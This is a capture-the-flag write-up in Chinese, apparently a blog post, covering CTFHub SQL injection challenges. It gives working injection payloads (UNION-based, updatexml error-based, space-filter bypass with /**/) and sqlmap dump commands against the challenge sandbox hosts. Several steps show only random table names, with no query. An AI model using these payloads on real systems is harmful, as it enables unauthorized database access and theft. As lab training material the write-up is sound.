CTFHUB之sql注入

1.整数型注

1.整数型注入

1.这里我使用的是Hackbar来进行sql注入,首先先判断有没有注入漏洞

加单引号

去掉‘加上and 1=1发现出现了回显

将1=1变为1=2,语句正确但是无法访问数据库

这里可以判定这里存在数字注入漏洞

2.接下来判断字段数量

这里输入id=1 order by 2看是否字段数量是否是2个

3.查询SQL语句插入位置

这里使用联合查询,查询库名。可以在data库中插入sql语句,也就是2的位置

查flag表字段

-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag' -- + 

查flag字段的值:

-1 union select flag,2 from flag -- +

2、字符型注入

与上题同理
此处直接查询flag字段的值

-1' union select flag,2 from flag -- +

3、报错注入

查询库名

1 and updatexml(1,concat(0x7e,database()),3)

发现库名 sqli,对表名进行爆破

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

爆破出表名,对字段进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

得到字段flag,进行查询

?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

布尔盲注

爆库名

python3 sqlmap.py -u http://challenge-ae03143b1b64
a785.sandbox.ctfhub.com:10800/?id=1 -current-db

爆数据

python3 sqlmap.py -u http://challenge-ae03143b1b64a785.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag -dump

时间盲注

同上 直接爆数据

python3 sqlmap.py -u http://challenge-4cadbdbe97d19103.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag -dump    

Mysql结构

爆库

id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata

爆数据

cook

gbeiyxcxzt

tlgybvewuv

UA注入

看表

gixbwoyqkp

爆字段名

negbfupuql

爆数据

1 and 1=2 union select 1, group_concat(negbfupuql ) from sqli.gixbwoyqkp#

Refer 注入

  1. 爆字段个数 order by 2可以, order by 3不行
  2. 爆库

sqli

爆表

eobzfwzgco

爆字段名

sehjtninev

爆数据

过滤空格

爆库名

?id=1/**/and/**/1=2/**/union/**/select/**/1,database()

爆表

id=1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'sqli'

tyrylslsbb

爆字段名

id=1/**/and/**/1=2/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'tyrylslsbb'

auauyqwwnv

爆数据

id=1/**/and/**/1=2/**/union/**/select/**/1,group_concat(auauyqwwnv)/**/from/**/sqli.tyrylslsbb

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值